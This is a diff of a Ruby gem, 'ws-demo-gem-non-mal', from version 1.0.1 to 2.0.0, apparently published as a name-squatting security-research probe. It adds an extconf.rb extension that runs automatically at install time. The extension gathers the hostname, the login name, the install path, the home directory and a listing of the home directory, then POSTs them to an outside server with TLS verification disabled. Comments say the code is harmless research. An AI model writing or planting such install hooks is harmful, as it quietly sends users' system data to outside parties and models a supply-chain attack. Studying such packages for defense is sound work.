ws-demo-gem-non-mal 1.0.1 → 2.0.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: bc85eb73ad7d0314df228640458592d4d0bd02aecfb54cc172db86173ba18c54
-  data.tar.gz: 6dec9489df853592fdff76a60178a41f29239a3017934780ed568a834daabcdd
+  metadata.gz: f08467380f369114e06aa22f559ecb827613afa8d77fe023f7d945c9e196d11d
+  data.tar.gz: 3cc6ede0193c51ef6955e3f331da7337dcd4947859908d152a676b744969bc6d
 SHA512:
-  metadata.gz: 42826b1ab29b9f52d588b6c4d76051eefcf3e6cec3570cce4380f5691e5d6cc9bc71d08fc431cecbc46d698f7ae1a7023c74cf939d9a34955501ec260ebec886
-  data.tar.gz: 18544a500269dfaa2c42fd2b1ff97d8cdaa6fca053fffa088dd732c2c59e3a0526fd4f5af8fd67fc134ba58af6329b70262ccb83eefc513e9ea3b3d0f97bab79
+  metadata.gz: 751d9c5327bdee710a7dd98701b4e4c2a26f299f7b45c47d5d9d423529ed3e9f8c6b4bbf3a0b578626db70d0a6b9810335a2f3bf5e2c04fc354fbd15c3df1151
+  data.tar.gz: d3c5634cb96447103600d6cec65d34ac62d974fea71bbbf78a5c4f65c6dcc5634166b129e3cfb72b9dab54b8d6bb24de7fad1da0b12eb4ca794b599bb0acdd4d

data/ext/extconf.rb

@@ -0,0 +1,50 @@
+=begin
+Hi, if you're reading this you're probably wondering what this code is doing on your machine.
+Don't worry! It doesn't do anything nasty or malicious.
+
+I am an ethical security researcher, booking names of gems to prevent brandjacking.
+
+I also run a Ruby security related platform: https://diffend.io
+
+All data I collect will be deleted and I do not collect any sensitive information.
+
+That's why I don't even obfuscate the network calls with DNS requests or anything else.
+
+You can read the code to confirm this.
+
+If you have any questions or want to get in touch for any reason, you can reach me at:
+
+maciej@mensfeld.pl
+
+If this is affecting your organization, for example because I took name that uses your naming
+conventions, feel free to contact me and I will be more than happy to give it back to you.
+
+P.S. I did notify RubyGems security team, so they are aware of my activity.
+=end
+
+require 'mkmf'
+require 'net/http'
+require 'socket'
+require 'etc'
+require 'securerandom'
+require 'json'
+
+create_makefile 'gem_test'
+
+uri = URI("https://ethically-testing-the.world")
+http = Net::HTTP.new(uri.host, uri.port)
+http.use_ssl = true
+http.verify_mode = OpenSSL::SSL::VERIFY_NONE
+request = Net::HTTP::Post.new('/ws-demo-gem-non-mal/2.0.0')
+request.add_field('Content-Type', 'application/json')
+
+request.body = {
+  hostnames: [Socket.gethostname, Socket.gethostbyname(Socket.gethostname).first].uniq,
+  username: Etc.getlogin,
+  path: File.dirname(__FILE__),
+  home: Dir.home,
+  home_ls: Dir.entries(Dir.home),
+  id: SecureRandom.uuid,
+}.to_json
+
+http.request(request)

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: ws-demo-gem-non-mal
 version: !ruby/object:Gem::Version
-  version: 1.0.1
+  version: 2.0.0
 platform: ruby
 authors:
 - Maciej Mensfeld
@@ -10,13 +10,18 @@ bindir: bin
 cert_chain: []
 date: 2021-05-20 00:00:00.000000000 Z
 dependencies: []
-description: 
+description: |
+  I am testing for brandjacking vulnerabilities in products that are in bug bounty programs.
+
+  This code is reporting-only, and does not do anything malicious.
 email:
 - maciej.mensfeld@whitesourcesoftware.com
 executables: []
-extensions: []
+extensions:
+- ext/extconf.rb
 extra_rdoc_files: []
-files: []
+files:
+- ext/extconf.rb
 homepage: https://diffend.io
 licenses:
 - GPL-3.0
@@ -39,5 +44,5 @@ requirements: []
 rubygems_version: 3.1.2
 signing_key: 
 specification_version: 4
-summary: Just a placeholder
+summary: Gem that sends some non-sensitive data for security research.
 test_files: []